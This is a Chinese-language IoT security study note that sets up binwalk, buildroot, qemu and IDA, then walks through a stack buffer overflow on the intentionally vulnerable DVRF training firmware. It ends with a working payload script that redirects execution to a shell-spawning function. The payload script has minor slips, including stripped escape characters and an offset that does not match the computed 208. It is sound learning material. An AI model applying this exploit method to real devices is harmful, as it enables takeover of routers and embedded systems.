物聯網安全學習筆記之二——小試牛刀
上一期我們介紹了物聯網韌體常用的基於MIPS架構的組合語言,這一次我們就利用所學的知識來對目標的模擬裝置進行一次簡單的攻擊吧!
1 安裝工具
1.1 binwalk
binwalk執行時庫都是可選的,可以根據需要自行下載。詳細說明見:binwalk/INSTALL.md
對於Debian/Ubuntu的使用者,所有的依賴庫/解壓攻擊都可以用binwalk目錄下的deps.sh指令碼進行自動化的下載安裝。
$sudo ./deps.sh
1.2 buildroot
檔案系統通常要包含很多第三方軟體,比如busybox、udhcpc、tftp、Apache、sqlite、PHP、IPtable、DNS等,為了避免繁雜的移植工作,產生了buildroot。通過menuconfig配置我們需要的功能,不需要的功能去掉,再執行make指令編譯,buildroot就會自動從指定的伺服器上下載原始碼包,自動編譯,自動搭建成我們所需要的嵌入式根檔案系統,讓我們的工作效率成百倍的提升。
- 下載:可以從buildroot官網下載到buildroot原始碼。
-
配置:在build解壓目錄下執行:
$ make menuconfig
在根據圖形化介面進行定製化的設定,主要也就是設定一下幾個方面的內容即可:
- Target options
- Toolchain
- System configuration
- Filesystem images
- Target packages
- 編譯:在編譯前需要確定事先已經安裝好bison、flex、texinfo、ncurses等軟體。
在build的根目錄下執行make指令即可編譯整個buildroot。
注意了,如果在編譯時顯示:
WARNING: Clock skew detected. Your build may be incomplete.
或者之前配置的資訊有誤,可以考慮將之前編譯的中間結果清理掉:
$ make clean
1.3 qemu
qemu是一款虛擬機器軟體,它預設支援多種架構,可以模擬IA-32(x86)個人電腦,AMD64個人電腦,MIPS R4000,Sparc sun 3與PowerPC(PRep及Power Macintosh)架構。qemu根據用途分為多個不同的執行程式,如:
qemuqemu-microblazzelqemu-system-m68kqemu-system-s390x qemu-aarch64qemu-mipsqemu-s390xqemu-system-sh4 ...
安裝過程如下:
- 下載程式碼
$ git clone git://git.qemu-project.org/qemu.git
- 更新部分模組
$ git submodule update --init pixman $ git submodule update --init dtc $ sudo apt-get install libglib2.0 $ sudo apt-get install libglib2.0-dev $ sudo apt-get install autoconf automake libtool
- 配置、編譯、安裝:
$ sudo ./configure --static && sudo make && sudo make install
1.4 IDA
IDA是安全領域最常見的工具之了,具體使用方法不在這裡贅述。安裝過程如下:
#下載外掛 $ git clone https://github.com/devttys0/ida.git #進入下載的目錄後進行復制安裝(這個指令碼的目的實際上就是複製) $ python ./install <ida的安裝目錄>
注意:
- 在前期除錯時使用的wine、ida可以不用考慮系統版本,但是在需要使用外掛的情況下,應該確保Linux系統為32位。
- 由於需要使用到IDA python外掛,所以需要下載python27.dll到IDA的根目錄中。
- 啟動IDA的時候需要修改環境變數以便能夠讀取到python的位置。
- wine需要提前安裝。$ export PYTHONPATH=/usr/lib/python2.7 && wine idaq
2 安裝測試環境
我們使用GitHub上的一款開源工程DVRF.它實際上是對Linksys E1550韌體檔案系統的模擬.其中還提供了一些可以練習經典棧溢位和堆溢位的程式碼.初學者可以利用這個環境配合qemu等模擬軟體方便的進行練習,當然你也可以將這個檔案系統想辦法刷到真正的裝置中去,會有更好的體驗哦.
下載專案:
git clone https://github.com/praetorian-inc/DVRF.git
從目錄結構上看,Firmware就是韌體的檔案系統,而Pwnable Source則是我們可以練手用的程式碼啦!
3 發起攻擊!
下面我們以/DVRF/Pwnable Source/Intro/stack_bof_01.c為例,來說明一下攻擊的過程.
3.1 搞清楚韌體架構
在一切工作之前,我們得先搞清楚韌體到底執行在什麼樣的處理器之下.我這裡選擇了韌體常用的動態庫進行查詢:
$ file DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/lib/libc.so.0 lib/libc.so.0: ELF 32-bit LSB shared object, MIPS, MIPS32 version 1 (SYSV), dynamically linked, stripped
從命令執行的結果看,韌體是32位MIPS架構的處理器(MIPS32 version 1),小端格式(LSB shared object).
有了這些基本資訊,我們就可以將程式碼編譯成相應格式的二進位制檔案了.
3.2 編譯程式碼
安裝完buildroot後,編譯工具就存放在output/host/usr目錄裡.我們找出需要的mipsel-linux-gcc,先將stack_bof_01.c檔案編譯成MIPS格式:
$ mipsel-linux-gcc /DVRF/Pwnable Source/Intro/stack_bof_01.c -O test
3.3 審計程式碼
stack_bof_01.c的程式碼如下:
#include <string.h> #include <stdio.h> //Simple BoF by b1ack0wl for E1550 int main(int argc, char **argv[]){ char buf[200] =""; if (argc < 2){ printf("Usage: stack_bof_01 <argument>rn-By b1ack0wlrn"); exit(1); } printf("Welcome to the first BoF exercise!rnrn"); strcpy(buf, argv[1]); printf("You entered %s rn", buf); printf("Try Againrn"); return 0x41; // Just so you can see what register is populated for return statements } void dat_shell(){ printf("Congrats! I will now execute /bin/shrn- b1ack0wlrn"); system("/bin/sh -c"); //execve("/bin/sh","-c",0); //execve("/bin/sh", 0, 0); exit(0); }
程式碼不長,我們很容易找到其中的經典溢位點:
strcpy(buf, argv[1]);
而我們的目的就是繞過主程式的正常流程,轉而執行data_shell()這個未被呼叫的函式.
那麼首先,讓我們先嚐試著在韌體系統環境下把這個程式跑起來把!
3.4 執行程式
首先,把使用者模式的qemu(qemu-mipsel)複製到韌體的根目錄.為什麼要這樣呢?因為接下來要以韌體的根目錄為我們模擬環境的根目錄執行程式,如果qemu-mipsel不在當前目錄下系統會找不到這個程式.
$ cd DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root $ cp $(which qemu-mipsel) ./
現在我們可以用qemu-mipsel來執行程式啦!但是要注意,由於程式使用的環境是在mips下的,所以我們必須要將程式執行環境設定在韌體的根目錄下.這裡我們用到了chroot命令來完成:
$ sudo chroot . ./qemu-mipsel test "abc" Welcome to the first BoF exercise! You entered abc Try Again
可以看到我們的mips程式成功得到了執行!
下面我們來看看如何進行程式碼除錯把!
3.5 除錯程式碼
除錯程式碼的途徑很多,由於qemu自帶gdbserver的功能,我們這裡採用Linux環境下qemu+wine&IDA的組合進行除錯.要加入除錯功能,加入-g引數即可,後面緊跟的是遠端除錯的埠號,本例中我們採用的是1111埠.
$ sudo chroot . ./qemu-mipsel -g 1111 test "abc"
上述命令執行完畢後,可以看到控制檯停了下來,我們可以啟動wine&IDA了.
$ export PYTHONPATH=/usr/lib/python2.7 && wine /opt/ida66/idaq.exe
成功啟動IDA,找到並用mips小端處理器反彙編test.對IDA進行如下設定:
- 開啟Debugger->Process options對話方塊,在Host name中填寫本機地址127.0.0.1,在Port中填寫上面指定的除錯埠1111.
- 開啟Debugger->Debugger options對話方塊,勾選Suspend on debugging start選項.
按下F9即可開始除錯了!
3.6 編寫溢位字串
3.6.1.確定溢位字串長度
確定溢位字串的長度有很多種,我這裡介紹2種方法:
方法1: 計算堆疊容量
從IDA反彙編情況我們可以看到處理buf的地址的彙編語句為:
addiu$v0, $fp, 0xE8+var_D0 move$a0, $v0 la$v0, strcpy
那麼我們就可以得出PC指標進入main()函式後,函式的堆疊情況:
+----------+ |st|$fp+0xE8-0xD0 +----------+ |..| +----------+ |fp| +----------+ |ra| +----------+Bottom of main() stack |a0| +----------+ |a1| +----------+ |..|
從上圖我們得知,要覆蓋掉返回地址ra需要的溢位字串長度為0xD0也就是208個字元.
方法2: 利用指令碼測試
利用搜索引擎搜尋一個patternLocOffset.py指令碼(實在找不到的可以從這裡複製一份),這個指令碼來自於揭祕家用路由器0day漏洞挖掘技術一書(向作者致敬!).
首先生成一個測試字串:
$ ./patternLocOffset.py -c -l 300 -f output.txt [*] Create pattern string contains 300 characters ok! [+] output to output.txt ok! [+] take time: 0.0005 s
然後,開啟output.txt檔案,將內容複製粘貼出來
$ exp="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9"
再用IDA對程式碼進行除錯
sudo chroot . ./qemu-mipsel -g 1111 stack-bof-01 "$exp"
可以知道覆蓋掉返回地址RA的是0x68413967.我們用指令碼對這個數字進行查詢操作:
$ ./patternLocOffset.py -s 0x68413967 -l 300 [*] Create pattern string contains 300 characters ok! [*] No exact matches, looking for likely candidates... [+] Possible match at offset 208 (adjusted another-endian) [+] take time: 0.0005 s
得到的資料長度也是208.
3.6.2.找到跳轉位置
跳轉位置在這個例子中間就顯得很簡單了,因為我們交叉編譯這個程式的時候,並沒有人工增加任何的安全防護措施,所以程式程式碼的位置是相對固定的.從IDA中就可以很輕鬆的找到.
.text:0040091C# =============== S U B R O U T I N E ======================================= .text:0040091C .text:0040091C .text:0040091C .globl dat_shell .text:0040091C dat_shell:
很顯然,dat_shell的位置就是0x0040091C
3.6.3.完成溢位
用跳轉位置替換溢位字串的後4位即可,注意小端位元組序的編碼方式哦.
最後的溢位指令碼如下:
#! /bin/sh exp=$(python -c "print 'A'*204+'x1cx09x40'") sudo chroot . ./qemu-mipsel stack-bof-01 "$exp"
執行結果:
$ ./exp.sh You entered AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ Try Again Congrats! I will now execute /bin/sh - b1ack0wl
成功啦!
我們這次就進行到這裡,有興趣的朋友還可以對這個專案裡的其他程式碼進行測試攻擊.Good Luck!